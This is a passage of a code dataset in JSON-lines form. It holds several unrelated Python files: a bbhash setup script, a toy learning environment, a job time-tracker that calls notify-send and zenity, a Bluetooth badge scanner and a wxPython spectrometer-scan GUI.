rects[:2000]\n","sub_path":"code/selective_search.py","file_name":"selective_search.py","file_ext":"py","file_size_in_byte":2384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"454849611","text":"import sys\nfrom distutils.core import setup\nfrom distutils.extension import Extension\nfrom Cython.Distutils import build_ext\n\nEXTRA_COMPILE_ARGS=[]\nif sys.platform == 'darwin':              # Mac OS X?\n    EXTRA_COMPILE_ARGS.extend(['-arch', 'x86_64', '-mmacosx-version-min=10.7',\n                               '-std=c++11', '-stdlib=libc++'])\n \n\nsetup(\n   name='bbhash',\n   version='0.1dev2',\n   description=\"A Python wrapper for the BBHash Minimal Perfect Hash Function\",\n   author=\"C. Titus Brown\",\n   author_email=\"titus@idyll.org\",\n   license=\"BSD 3-clause\",\n   url=\"http://github.com/dib-lab/pybbhash\",\n   ext_modules =\n          [Extension('bbhash',\n                     sources=['bbhash.pyx'],\n                     depends=['BooPHF.h'],\n                     language='c++',\n                     extra_compile_args=EXTRA_COMPILE_ARGS)],\n   headers=['BooPHF.h'],\n   cmdclass = {'build_ext': build_ext}\n)\n","sub_path":"pypi_install_script/bbhash-0.1dev2.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"296407392","text":"from __future__ import division, unicode_literals, print_function\nimport math\n\nimport numpy as np\n\nfrom regions import NDArrayDataset\n\n\nclass ToyEnvironment:\n    def __init__(self, size, step_size, n_sample_actions=20,\n                 boundary_strategy='walled', distance_measurement='dist',\n                 cutoff_factor=5, static=True, blind=False):\n        self.size = size\n        self.step_size = step_size\n        self.n_sample_actions = n_sample_actions\n        self.cutoff_factor = cutoff_factor\n        self.static = static\n        self.blind = blind\n        self._observer = None\n        strategies = {'toroid': self._toroidize, 'walled': self._wall_in}\n        if boundary_strategy not in strategies:\n            raise Exception('Illegal boundary strategy')\n        self._boundary_strategy = strategies[boundary_strategy]\n        if distance_measurement not in {'dist', 'exp'}:\n            raise Exception('Illegal distance measurement')\n        self.distance_measurement = distance_measurement\n        self.r = np.random.rand(2) * self.size - self.half_size\n        # self.b = np.random.rand(2) * self.size - self.half_size\n        self.b = np.array([0, 0], dtype=float)\n\n    def start_observation(self, n_iters):\n        self._observer = NDArrayDataset(n_iters, 6)\n\n    def _toroidize(self, v):\n        hs = self.half_size\n        v[0] = (v[0] + hs) % self.size - hs\n        v[1] = (v[1] + hs) % self.size - hs\n        # Did I get it right? :)\n        assert -hs <= v[0] <= hs\n        assert -hs <= v[1] <= hs\n\n    def _wall_in(self, v):\n        hs = self.half_size\n        if v[0] > hs:\n            v[0] = hs\n        elif v[0] < -hs:\n            v[0] = -hs\n        if v[1] > hs:\n            v[1] = hs\n        elif v[1] < -hs:\n            v[1] = -hs\n\n    def act(self, m):\n        mov, freq = m[:2], m[2]\n        if not self.static:\n            if freq > 0.66:  # [0.66, 1] -> predictable\n                self.b = np.copy(self.r)\n            elif freq < 0.33:  # [0, 0.33] -> not predictable\n                random_b_shape = np.random.random(self.b.shape)\n                self.b += self._movement_modifier(random_b_shape)\n                self._boundary_strategy(self.b)\n            else:  # [0.33, 0.66] -> predictable\n                pass\n\n        self.r += mov\n        self._boundary_strategy(self.r)\n        if self._observer is not None:\n            self._observer.update(np.concatenate((self.r, self._signal(), m)))\n\n    def sense(self):\n        if self.blind:\n            return self._signal()\n        return np.concatenate((self.r, self._signal()))\n\n    def _signal(self):\n        distance = np.linalg.norm(self.r - self.b)\n        if self.distance_measurement == 'dist':\n            return np.array([distance])\n        return np.array([math.exp(-self.cutoff_factor * distance)])\n\n    @property\n    def s_len(self):\n        if self.blind:\n            return 1  # [signal]\n        return 3  # [x, y, signal]\n\n    @property\n    def m_len(self):\n        return 3  # [dx, dy, freq]\n\n    @property\n    def all_actions(self):\n        return self._gen_actions\n\n    @property\n    def half_size(self):\n        return self.size / 2\n\n    @property\n    def observer(self):\n        if self._observer is None:\n            raise Exception('No observer set.')\n        return self._observer\n\n    def _gen_actions(self):\n        actions = np.random.rand(self.n_sample_actions, self.m_len)\n        actions[:, :2] = self._movement_modifier(actions[:, :2])\n        return actions\n\n    def _movement_modifier(self, m):\n        return m * (2 * self.step_size) - self.step_size","sub_path":"iac/environments.py","file_name":"environments.py","file_ext":"py","file_size_in_byte":3575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"195796551","text":"# -*- encoding: utf-8 -*-\n\nimport unittest\n\nclass TestSomething(unittest.TestCase):\n    def test_unicode(self):\n        self.assertEqual(u'Русский', u'Текст')\n\nif __name__ == '__main__':\n    import sys\n    reload(sys)\n    sys.setdefaultencoding('utf8')\n    unittest.main()\n","sub_path":"all-gists/3976411/snippet.py","file_name":"snippet.py","file_ext":"py","file_size_in_byte":285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"349322042","text":"\"\"\"Module that provides classes to handle the application.\"\"\"\nfrom datetime import datetime\nimport subprocess\nfrom re import search\nfrom backend import jobs, results as rs, filesys as fs\nimport basic\n\nclass AdminData():\n    \"\"\"Handle administrative and configuration data.\"\"\"\n\n    def __init__(self):\n        \"\"\"Constructor.\"\"\"\n        self.selected_job_name = None\n\n    def from_json(self, d):\n        \"\"\"Load admin data from a dict (loaded from json).\"\"\"\n        if not d is None:\n            self.__dict__ = d\n\n    def get_keys(self):\n        \"\"\"Return the attributes that will be saved to json.\"\"\"\n        return [\"selected_job_name\"]\n\n    def select_job(self, name):\n        # REFACTOR: use property\n        self.selected_job_name = name\n\n    def get_selected_job(self):\n        return self.selected_job_name\n\n    def update(self):\n        \"\"\"Update function.\"\"\"\n\n        ### ADD YOUR UPDATES HERE ###\n\nclass Application():\n    \"\"\"Handle the application.\"\"\"\n\n    def __init__(self, root_path, notify=False):\n        \"\"\"Constructor.\"\"\"\n        self.fh = fs.JobFileHandler(root_path, \"files\") # HACK: \"files\" hardcoded\n        self._mark_time()\n        self.admin_fh = fs.AdminFileHandler(root_path, \"config\", \"admin\") # \"config\" and \"admin\" hardcoded\n        self.admin_data = AdminData()\n        self.admin_data.from_json(self.admin_fh.load_admin())\n\n        self.notify = notify\n\n    def close(self):\n        \"\"\"Close the application.\"\"\"\n        self.admin_fh.save_admin(self.admin_data)\n\n    def _choose_name(self, name):\n        \"\"\"If name is None, return the selected name in the admin data.\"\"\"\n        return name or self.admin_data.get_selected_job()\n\n    def _load_job(self, name):\n        \"\"\"Load a job given a name.\"\"\"\n        job = jobs.Job()\n        json_dict = self.fh.load_job(name)\n        job.from_json(json_dict)\n\n        return job\n\n    def _save_job(self, j):\n        \"\"\"Given a job, dump it to a json file.\"\"\"\n\n        # Make sure it can be dump\n        if not j.can_dump():\n            basic.perror(\"Job can't be saved to json\")\n\n        # Get name\n        name = j.get_name()\n\n        # Assure folder\n        self.fh.save_job(j, name)\n\n    def _get_job_names(self):\n        \"\"\"Get all the existing job names.\"\"\"\n        return self.fh.list_jobs()\n\n    def _exist_job(self, name, archive=False):\n        \"\"\"Bool indicating if job exists\"\"\"\n        return self.fh.exist_job(name, archive=archive)\n\n    def _assert_time(self, action=\"action\"):\n        \"\"\"Assert the time variable set.\"\"\"\n        if self.t is None:\n            basic.perror(\"Can't {} without a timestamp\".format(action))\n\n    def _mark_time(self):\n        \"\"\"Saves the current time.\"\"\"\n        self.t = datetime.now()\n\n    def _notify_action(self, jobname=None, action=None, more_title=None):\n        \"\"\"Notify an action to the screen.\"\"\"\n        if self.notify:\n            title = \"Worktime\"\n            if not more_title is None:\n                title += \" - {}\".format(more_title)\n            message = jobname or \"\"\n            message += \" \"\n            message += action or \"\"\n            subprocess.run(\"notify-send --urgency=critical '{}' '{}'\".format(title, message), shell=True)\n            # NOTE: use return_value.returncode of run() to see the status of the called command\n\n    def _select_job_GUI(self):\n        \"\"\"Prompt the user to select a job using zenity.\"\"\"\n        column_title = 'Jobs' # TASK: move to config parameters\n        message = 'Select a Job'\n        jobs = ' '.join(self._get_job_names())\n        height = 300 # TODO: change this according to the amount of jobs # height=300 works fine for up to 8 or 9 jobs\n        command = \"zenity --column='{}' --title='{}' --list {} --height={}\".format(column_title, message, jobs, height)\n        result = subprocess.run(command, shell=True, stdout=subprocess.PIPE)\n        selected = result.stdout.decode('utf-8').strip()\n        return selected or None\n\n    \"\"\"API methods\"\"\"\n    def start_job(self, name, info):\n        \"\"\"Option to start a job.\"\"\"\n        self._assert_time(\"start a job\")\n\n        # REFACTOR: this is copied in start/stop/pause methods, use decorators\n        name = self._choose_name(name)\n        if name is None:\n            return rs.StartResult(rs.ResultType.NotSelected)\n\n        if not self._exist_job(name):\n            return rs.StartResult(rs.ResultType.NotExist, jobname=name)\n\n        job = self._load_job(name)\n        result = job.start(self.t, info)\n        if result.is_ok():\n            self._save_job(job)\n\n        if name != self.admin_data.get_selected_job():\n            # Not selected, select it\n            self.select_job(name)\n\n        return result\n\n    def stop_job(self, name, confirmation, info=None, discard=False, force_seconds=None):\n        \"\"\"Option to stop a job.\n\n        confirmation -- function to call if confirmation for discarding an entry is needed\"\"\"\n\n        self._assert_time(\"stop a job\")\n\n        name = self._choose_name(name)\n        if name is None:\n            return rs.StopResult(rs.ResultType.NotSelected)\n\n        if not self._exist_job(name):\n            return rs.StopResult(rs.ResultType.NotExist, jobname=name)\n\n        j = self._load_job(name)\n\n        # Confirmation\n        if j.confirm_discard(): # Confirmation needed\n            if not confirmation(): # Ask for confirmation\n                discard = False\n\n        result = j.stop(self.t, discard=discard, obs=info, force_seconds=force_seconds)\n\n        if result.is_ok():\n            self._save_job(j)\n\n        return result\n\n    def pause_job(self, name):\n        \"\"\"Option to pause a job.\"\"\"\n        self._assert_time(\"pause a job\")\n\n        name = self._choose_name(name)\n        if name is None:\n            return rs.PauseResult(rs.ResultType.NotSelected)\n\n        j = self._load_job(name)\n        result = j.pause(self.t)\n        if result.is_ok():\n            self._save_job(j)\n\n        return result\n\n    def create_job(self, name, confirmation, lname=None, info=None, tags=None):\n        \"\"\"Option to create a job.\"\"\"\n        if self._exist_job(name):\n            if not confirmation():\n                return rs.Result(rs.ResultType.Cancelled)\n\n        j = jobs.Job()\n        result = j.create(name, lname, info, tags)\n\n        if result.is_ok():\n            self._save_job(j)\n\n        return result\n\n    def edit_job(self, name, new_name=None, new_lname=None, new_info=None, info_mode=None, new_tags=None, tags_mode=None):\n        \"\"\"Option to edit a job.\"\"\"\n\n        basic.perror(\"DEPRECATED: can't edit job\")\n\n        j = self._load_job(name)\n\n        # Cambiar nombre\n        if not new_name is None:\n            # j.change_name(new_name)\n            pass # TODO\n\n        if not new_lname is None:\n            j.change_longname(new_lname)\n\n        if not new_info is None:\n            j.edit_info(new_info, info_mode)\n\n        if not new_tags is None:\n            j.edit_tags(new_tags, tags_mode)\n\n        self._save_job(j)\n\n    def delete_job(self, name, confirmation, force=False):\n        \"\"\"Option to delete a job.\"\"\"\n\n        if not self._exist_job(name):\n            return rs.DeleteResult(rs.ResultType.NotExist)\n\n        deleted = False\n        if force or confirmation():\n            j = self._load_job(name)\n            self.fh.remove_job(name)\n            deleted = True\n\n        return rs.DeleteResult(was_deleted=deleted)\n\n    def select_job(self, name):\n        \"\"\"Select a job to use later without calling the name.\"\"\"\n        if name is None:\n            return rs.Result(rs.ResultType.NoneNotAccepted)\n        elif self._exist_job(name):\n            self.admin_data.select_job(name)\n            return rs.Result()\n        else:\n            return rs.Result(rs.ResultType.NotExist)\n\n    def unselect_job(self):\n        \"\"\"Unselect a job.\"\"\"\n        prev_jobname = self.admin_data.get_selected_job()\n        if not prev_jobname is None:\n            self.admin_data.select_job(None)\n            return rs.UnselectResult(jobname=prev_jobname)\n        else:\n            return rs.UnselectResult(status=rs.ResultType.NotSelected)\n\n    def show_jobs(self, name, run_only=False):\n        \"\"\"Option to show jobs.\"\"\"\n\n        def match_regex(k, m):\n            \"\"\"Boolean matching k with m, using regex.\"\"\"\n            return not search(m, k) is None\n\n        def is_running(j):\n            \"\"\"Boolean, job is running.\"\"\"\n            return j.is_running\n\n        def dont_match(dummy1=None, dummy2=None):\n            \"\"\"Return true always, i.e don't match.\"\"\"\n            return True\n\n        names = self._get_job_names()\n\n        # Functions to filter\n        match = dont_match if name is None else match_regex\n        filter_running = dont_match if not run_only else is_running\n\n        results = rs.ShowResult()\n        for n in names:\n            j = self._load_job(n)\n            if match(n, name) and filter_running(j):\n                result = j.show(self.t)\n                results.add_job(result)\n\n        return results\n\n    def backup_jobs(self):\n        \"\"\"Backup existing jobs.\"\"\"\n        for name in self._get_job_names():\n            self.fh.backup_job(name)\n\n        return rs.Result()\n\n    def archive_job(self, name, unarchive=False):\n        \"\"\"Archive a job.\"\"\"\n        if not self._exist_job(name, archive=unarchive):\n            # NOTE:\n            # unarchive == False --> archiving, need to check non-archive folder\n            # unarchive == True --> unarchiving, need to check archive folder\n            # HACK: there is no ArchiveResult type, so use StartResult\n            return rs.StartResult(rs.ResultType.NotExist, jobname=name)\n\n        if unarchive:\n            self.fh.unarchive_job(name)\n        else:\n            self.fh.archive_job(name)\n\n        return rs.Result() # everything ok\n\n    def update_jobs(self):\n        \"\"\"Make an update to the Job objects.\"\"\"\n        self.admin_data.update()\n\n        for name in self._get_job_names():\n            j = self._load_job(name)\n            j.update()\n            self._save_job(j)\n\n        return rs.Result()\n\n    def display_help(self, shortcut=True):\n        \"\"\"Display a help message.\"\"\"\n        if not shortcut:\n            print(\"Nothing here\")\n            return\n\n        # HACK: do this from configuration file\n        special_cmd = 'Shift+Alt'\n        commands = [\n            ['Up', 'Start the selected job'],\n            ['Down', 'Stop the selected job'],\n            ['P', 'Pause the selected job'],\n            ['S', 'Show the status of the running jobs'],\n            ['W', 'Select a job interactively'],\n            ['U', 'Unselect the currently selected job'],\n            ['A', 'Show the currently selected job'],\n            ['H', 'Display this help message'],\n            ]\n\n        full_message = \"{} +:\\n\".format(special_cmd)\n        for i in range(len(commands)):\n            key = commands[i][0]\n            help_msg = commands[i][1]\n            full_message += \"\\t{} -- {}\\n\".format(key, help_msg)\n\n        # HACK: use _print_action()\n        # HACK: this should be in console application!!!\n        print(full_message)\n\n        subprocess.run(\"zenity --info --height=200 --text='{}'\".format(full_message), shell=True, stdout=subprocess.PIPE)\n","sub_path":"backend/application/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":11172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"372773710","text":"from __future__ import print_function\n\nimport datetime\nimport time\nimport struct\nfrom bluepy import btle\n\n# Looks for badges and return their state (synced or not), the \n# date of the latest scan, and a list of RSSIs\nclass BadgeDiscoverer:\n\tdef __init__(self):\n\t\tself.DEVICE_NAME = \"BADGE\"\n\t\tself.CLOCK_STATE_SYNC = \"CLKSYN\"\n\t\tself.CLOCK_STATE_UNSYNC = \"CLKUN\"\n\t\tself.DEVICE_NAME_FIELD_ID = 9\n\t\n\tdef discover(self, scanDuration = 1): #seconds\n\t\tbtle.Debugging = False\n\t\tscanner = btle.Scanner().withDelegate(ScanDummy())\n\t\traw_devices = scanner.scan(scanDuration)\n\t\t\n\t\tdevices={}\n\t\tfor device in raw_devices:\n\t\t\tdevice_name = None\n\t\t\tfor (sdid, desc, val) in device.getScanData():\n\t\t\t\tif sdid  == self.DEVICE_NAME_FIELD_ID: device_name = val\n\n\t\t\tif device_name == self.DEVICE_NAME:\n\t\t\t\trssi = device.rssi\n\t\t\t\tmac = device.addr.upper()\n\t\t\t\tvoltage = self.unpackBroadcastData(device.rawData)\n\t\t\t\tis_sync = not(self.CLOCK_STATE_UNSYNC in device.rawData)\n\t\t\t\tscan_date = datetime.datetime.now()\n\t\t\t\tif not (mac in devices):\n\t\t\t\t\tdevices[mac] = {'scan_date':scan_date,'is_sync':is_sync,'rssi':rssi,'voltage':voltage}\n\t\t\t\telse:\n\t\t\t\t\tdevices[mac]['rssi']=rssi\n\t\t\t\t\tdevices[mac]['scan_date'] = scan_date\n\n\t\treturn devices\n\n\t# Extract badge specific data from the broadcasting message\n\tdef unpackBroadcastData(self, data):\n\t\tif len(data) >= 26:\n\t\t\tbadgeDataBuffer = data[18:26]\n\t\t\tbadgeInfoArr = struct.unpack(' in a separate process\n#class ManagerShamrockSpectrometer(BaseManager): pass\n#ManagerShamrockSpectrometer.register('ShamrockSpectrometer', ShamrockSpectrometer)\n\n########################################################################\n\nclass SettingsNotebook (wx.Notebook) :\n\t\"\"\"\n\tGUI for listing all settings\n\t\"\"\"\n\tdef __init__(self, parent):\n\t\twx.Notebook.__init__(self, parent)\n\t\t \n\t\tself.Spectrometer = ShamrockSpectrometerTab(self)\n\t\tself.AddPage (self.Spectrometer, \"Spectra settings\")\n\t\t \n\t\tself.PulseShaper = PulseShaperTab(self)\n\t\tself.AddPage (self.PulseShaper, \"Pulse shaper settings\")\n\n\t\tself.RectangularScan = RectangularScanTab(self)\n\t\tself.AddPage (self.RectangularScan, \"Rectangular scan\")\n\t\t \n\t\t# Dictionary to bind names to tabs for saving and loading settings\n\t\tself.settings_to_tabs = {\"Spectrometer\" : self.Spectrometer, \"PulseShaper\" : self.PulseShaper,\n\t\t\t\"RectangularScan\" : self.RectangularScan }\n\t\t \n########################################################################\n\nclass SurfaceControlExperiment (wx.Frame) :\n\t\"\"\"\n\tApplication for running experiments\n\t\"\"\"\n\tdef __init__ (self, parent) :\n\t\t# Starting spectrometer\n\t\tself.Spectrometer = ManagerShamrockSpectrometer()\n\t\tself.SpectrometerProc = self.Spectrometer.start()\n\t\t\n\t\t# Starting pulse shaper\n\t\tself.PulseShaper = ManagerShaper()\n\t\tself.PulseShaperProc = self.PulseShaper.start()\n\t\t\n\t\t# Starting moving stages (by specifying their serial numbers)\n\t\tself.MovingStageX = ManagerThorlabsAPTMovingStage(83843642)\n\t\tself.MovingStageXProc = self.MovingStageX.start()\n\t\t\t\t\n\t\tself.MovingStageY = ManagerThorlabsAPTMovingStage(83843641)\n\t\tself.MovingStageYProc = self.MovingStageY.start()\n\n\t\t# Create GUI\n\t\tdw, dh = wx.DisplaySize()\n\t\twx.Frame.__init__ (self, parent, title=\"Surface control experiment\", size=(0.9*dw, 0.88*dh) )\n\t\t\n\t\tself.ConstructGUI ()\n\t\tself.Center()\n\t\tself.Show ()\n\t\twx.EVT_CLOSE (self, self.on_close)\n\t\n\tdef on_close (self, event):\n\t\t\"\"\"\n\t\tWindows is about to be closed. Stop all timers.\n\t\t\"\"\"\n\t\tself.StopAllJobs ()\n\t\tself.Destroy ()\t\n\t\n\tdef ConstructGUI (self) :\n\t\t\"\"\" Build GUI \"\"\"\n\t\tself.panel = wx.Panel(self)\n\t\tsizer = wx.GridBagSizer ()\n\t\t\n\t\t############################ Settings Notebook ############################\n\t\tself.SettingsNotebook = SettingsNotebook(self.panel)\n\t\tsizer.Add(self.SettingsNotebook, pos=(0, 0), span=(1, 1), flag=wx.EXPAND|wx.TOP|wx.LEFT|wx.RIGHT , border=10)\n\n\t\t############################ Command panel ############################\n\t\tboxsizer = wx.BoxSizer (wx.VERTICAL)\n\t\t\n\t\t# Test button\n\t\ttest_button = wx.Button (self.panel, label=\"Test\") \n\t\t\n\t\tdef OnTestButton (event) :\n\t\t\tself.PulseShaper.Initialize( self.SettingsNotebook.PulseShaper.GetSettings() )\n\t\t\tself.PulseShaper.Test()\n\t\t\t\n\t\tself.Bind (wx.EVT_BUTTON, OnTestButton, test_button)\n\t\tboxsizer.Add (test_button, flag=wx.EXPAND|wx.TOP, border=5)\n\t\t\n\t\t# Interactively display spectrum\n\t\tself.show_spectrum_button = wx.Button (self.panel)\n\t\tself.show_spectrum_button.__start_label__ = \"Show spectrum\"\n\t\tself.show_spectrum_button.__stop_label__ = \"STOP measuring spectrum\"\n\t\tself.show_spectrum_button.SetLabel (self.show_spectrum_button.__start_label__)\n\t\tself.Bind (wx.EVT_BUTTON, self.MeasureSingleSpectrum, self.show_spectrum_button)\n\t\t#self.show_spectrum_button.Bind(wx.EVT_BUTTON, self.MeasureSingleSpectrum)\n\t\tboxsizer.Add (self.show_spectrum_button, flag=wx.EXPAND, border=5)\n\t\t\n\t\t################## Rectangular scan button ##################\n\t\tself.rectangular_scan_button = wx.Button (self.panel)\n\t\tself.rectangular_scan_button.Bind (wx.EVT_LEFT_DOWN, self.PerformMeasurments)\n\t\tself.rectangular_scan_button.Bind (wx.EVT_LEFT_DCLICK, self.PerformMeasurments)\n\t\tboxsizer.Add(self.rectangular_scan_button, flag=wx.EXPAND, border=5)\n\t\t# Define labels\n\t\tself.rectangular_scan_button.__start_label__ \t= \"Rectangular scan\"\n\t\tself.rectangular_scan_button.__pause_label__ \t= \"PAUSE scan\"\n\t\tself.rectangular_scan_button.__resume_label__\t= \"RESUME scan\"\n\t\tself.rectangular_scan_button.__stop_label__ \t= \"STOP scan\"\n\t\tself.rectangular_scan_button.SetLabel (self.rectangular_scan_button.__start_label__)\n\t\t# Specify the measurements settings\n\t\tself.rectangular_scan_button.__measurmenet_manager__ \t\t= ManagerRectangularScan\n\t\tself.rectangular_scan_button.__measurmenet_manager_args__\t= (self.Spectrometer, self.MovingStageX, self.MovingStageY)\n\t\tself.rectangular_scan_button.__tab_settings__\t\t\t\t= \"RectangularScan\"\n\t\t#self.rectangular_scan_button.__post_process__ = self.RectangularScanPostProcess \n\t\t\n\t\t# Save settings\n\t\tself.save_settings_button = wx.Button (self.panel, label=\"Save settings...\")\n\t\tself.Bind (wx.EVT_BUTTON, self.SaveSettings, self.save_settings_button)\n\t\tboxsizer.Add(self.save_settings_button, flag=wx.EXPAND|wx.TOP, border=5)\n\t\t\n\t\t# Load settings\n\t\tself.load_settings_button = wx.Button (self.panel, label=\"Load settings...\")\n\t\tself.Bind (wx.EVT_BUTTON, self.LoadSettings, self.load_settings_button)\n\t\tboxsizer.Add(self.load_settings_button, flag=wx.EXPAND|wx.TOP, border=5)\n\t\t\n\t\tsizer.Add(boxsizer, pos=(1, 0), span=(1, 1), flag=wx.EXPAND|wx.TOP|wx.LEFT|wx.RIGHT , border=10)\n\t\t########################### End of constructing panel ######################################\n\t\tself.panel.SetSizer (sizer)\n\t\t\n\t\t############################# Setting visvis #######################################\n\t\tFigure = app.GetFigureClass()\n\t\tself.fig = Figure(self)\n\t\t\n\t\tboxsizer = wx.BoxSizer (wx.HORIZONTAL)\n\t\tboxsizer.Add(self.panel, 1, wx.EXPAND)\n\t\tboxsizer.Add(self.fig._widget, 2, wx.EXPAND)\n\n\t\tself.SetSizer (boxsizer)\n\t\tself.SetAutoLayout(True)\n\t\tself.Layout() \t\n\t\t\n\tdef __del__ (self) :\t\n\t\t# Close moving stages\n\t\tself.MovingStageX.exit(); self.MovingStageXProc.join()\n\t\tself.MovingStageY.exit(); self.MovingStageYProc.join()\n\t\t\n\t\t# Close spectrometer\n\t\tself.Spectrometer.exit(); self.SpectrometerProc.join() \n\t\t\n\t\t# Close pulse shaper\n\t\tself.PulseShaper.exit(); self.PulseShaperProc.join()\n\t\t\n\tdef PerformMeasurments (self, event) :\n\t\t\"\"\"\n\t\tA universal wrapper for performing measurements\n\t\t\"\"\"\n\t\t# Extracting which button was clicked\n\t\ttry :\n\t\t\tbutton = event.GetEventObject()\n\t\t\t# Mouse double clicking stops scanning\n\t\t\tif event.GetEventType() == wx.wxEVT_LEFT_DCLICK  : button.SetLabel (button.__stop_label__)\n\t\texcept AttributeError : button = event\n\n\t\tif button.GetLabel() == button.__start_label__ :\n\t\t\tself.StopAllJobs ()\n\t\t\t\n\t\t\t# get spectrometer's settings\n\t\t\tsettings = self.SettingsNotebook.Spectrometer.GetSettings()\n\t\t\t# Initiate spectrometer\n\t\t\tif self.Spectrometer.SetSettings(settings) == RETURN_FAIL : return\n\t\t\t\n\t\t\t# Extract the measurements settings \n\t\t\ttab = self.SettingsNotebook.settings_to_tabs[button.__tab_settings__]\n\t\t\tsettings = tab.GetSettings()\n\t\t\tif \"filename\" not in settings : settings[\"filename\"] = \"results.hdf5\"\n\t\t\t\n\t\t\t# Save the global settings\n\t\t\tresult = self.SaveSettings( default_filename=settings[\"filename\"], title=button.__start_label__)\n\t\t\tif not isinstance(result, basestring) : \n\t\t\t\t# User did not chose the file name\n\t\t\t\treturn\n\t\t\t\n\t\t\tif settings[\"filename\"] != result :\n\t\t\t\t# Update the file name if user chosen different\n\t\t\t\tsettings[\"filename\"] = result\n\t\t\t\ttab.SetSettings (settings)\n\t\t\t\n\t\t\t# Saving the filename for postprocesing \n\t\t\tbutton.__results_filename__ = result\n\t\t\t\n\t\t\t# Start scanning via the corresponding manager\n\t\t\tbutton.__running_manager__ = button.__measurmenet_manager__(settings, *button.__measurmenet_manager_args__)\n\t\t\t\n\t\t\t# Start timer to monitor weather measurement is over\n\t\t\tTIMER_ID = wx.NewId()\n\t\t\tbutton.__scanning_timer__ = wx.Timer (self, TIMER_ID)\n\t\t\tbutton.__scanning_timer__.Start (2000) # check every 2 seconds\n\t\t\t\n\t\t\tdef check_weather_scanning_finished (event) : \n\t\t\t\tif not button.__running_manager__.is_running () : \n\t\t\t\t\tbutton.SetLabel (button.__stop_label__); self.PerformMeasurments (button)\n\t\t\t\n\t\t\twx.EVT_TIMER (self, TIMER_ID, check_weather_scanning_finished)\n\t\t\t\n\t\t\t# Changing the button's label \n\t\t\tbutton.SetLabel (button.__pause_label__)\n\t\t\t\n\t\telif button.GetLabel() == button.__pause_label__ :\n\t\t\tbutton.__running_manager__.pause(); button.SetLabel (button.__resume_label__)\n\t\t\t\n\t\telif button.GetLabel() == button.__resume_label__ :\n\t\t\tbutton.__running_manager__.resume(); button.SetLabel (button.__pause_label__)\n\t\t\t\n\t\telif button.GetLabel() == button.__stop_label__ :\n\t\t\t# Stop timer\n\t\t\tbutton.__scanning_timer__.Stop()\n\t\t\tdel button.__scanning_timer__\n\t\t\t# Stop measurements\n\t\t\tbutton.__running_manager__.stop(); \n\t\t\tdel button.__running_manager__\n\t\t\tbutton.SetLabel (button.__start_label__)\n\t\t\t\n\t\t\ttry : # Start post processing, if present\n\t\t\t\tbutton.__post_process__(button.__results_filename__)\n\t\t\texcept AttributeError : pass\n\t\t\t\n\t\telse : raise ValueError (\"Unrecognised button label\")\n\t\t\n\tdef StopAllJobs (self) :\n\t\t\"\"\"\n\t\tStop  tasks \n\t\t\"\"\"\n\t\tfor control in self.panel.GetChildren() :\n\t\t\ttry :\n\t\t\t\tif isinstance(control, wx.Button) and control.GetLabel() != control.__start_label__ :\n\t\t\t\t\tcontrol.SetLabel (control.__stop_label__)\n\t\t\t\t\tcontrol.GetEventHandler().ProcessEvent(wx.PyCommandEvent(wx.EVT_BUTTON.typeId, control.GetId()))\n\t\t\texcept AttributeError : pass\n\t\t\n\tdef MeasureSingleSpectrum (self, event=None) :\n\t\t\"\"\"\n\t\tButton  was clicked\n\t\t\"\"\"\n\t\tbutton = self.show_spectrum_button\n\t\t\n\t\tif button.GetLabel() == button.__start_label__ :\n\t\t\tself.StopAllJobs()\n\t\t\t# get spectrometer's settings\n\t\t\tspect_settings = self.SettingsNotebook.Spectrometer.GetSettings()\n\t\t\t\n\t\t\t# Initiate spectrometer\n\t\t\tif self.Spectrometer.SetSettings(spect_settings) == RETURN_FAIL : return\n\t\t\tself.wavelengths = self.Spectrometer.GetWavelengths()\n\t\t\t\n\t\t\t# Clearing the figure\n\t\t\tvisvis.clf()\n\t\t\n\t\t\tdef draw_spectrum (event) :\n\t\t\t\t\"\"\"Timer function \"\"\"\n\t\t\t\tspectrum = self.Spectrometer.AcquiredData() \n\t\t\t\tif spectrum == RETURN_FAIL : return\n\t\t\t\t# Display the spectrum\n\t\t\t\t\n\t\t\t\t############### Take the log of spectrum ##########\n\t\t\t\t#spectrum = spectrum / float(spectrum.max())\n\t\t\t\t#np.log10(spectrum, out=spectrum)\n\t\t\t\t##############################\n\t\t\t\t\n\t\t\t\tax = visvis.gca()\n\t\t\t\tax.Clear()\t\n\t\t\t\tvisvis.plot (self.wavelengths, spectrum)\n\t\t\t\tvisvis.xlabel(\"wavelength (nm)\")\n\t\t\t\tvisvis.ylabel(\"counts\")\n\t\t\t\t\n\t\t\t\t# Display the current temperature\n\t\t\t\tvisvis.title (\"Temperature %d (C)\" % self.Spectrometer.GetTemperature() )\n\t\t\t\t\n\t\t\t# Set up timer to draw spectrum\n\t\t\tTIMER_ID = wx.NewId()\n\t\t\tself.spectrum_timer =  wx.Timer (self, TIMER_ID)\n\t\t\tself.spectrum_timer.Start (spect_settings[\"exposure_time\"])\n\t\t\t\n\t\t\t# Change button's label\n\t\t\tbutton.SetLabel (button.__stop_label__)\n\t\t\twx.EVT_TIMER (self, TIMER_ID, draw_spectrum)\n\t\t\t\n\t\telif button.GetLabel() == button.__stop_label__ :\n\t\t\t# Stopping timer\n\t\t\tself.spectrum_timer.Stop()\n\t\t\tdel self.spectrum_timer\n\t\t\t# Change button's label\n\t\t\tbutton.SetLabel (button.__start_label__) \n\t\t\t\n\t\telse : raise ValueError(\"Label is not recognized\") \n\t\t\n\tdef SaveSettings (self, event=None, default_filename = \"settings.hdf5\", title=\"Open HDF5 file to save settings\" ) :\n\t\t\"\"\"\n\t\tButton  was clicked\n\t\t\"\"\"\n\t\topenFileDialog = wx.FileDialog(self, title, \"\", default_filename, \"HDF5 files (*.hdf5)|*.hdf5\", \n\t\t\t\t\t\t\twx.FD_SAVE | wx.FD_OVERWRITE_PROMPT | wx.FD_CHANGE_DIR)\n\t\t# Check whether user cancelled\n\t\tif openFileDialog.ShowModal() == wx.ID_CANCEL: return None\t\n\t\t\n\t\twith h5py.File (openFileDialog.GetPath(), 'w') as file_settings 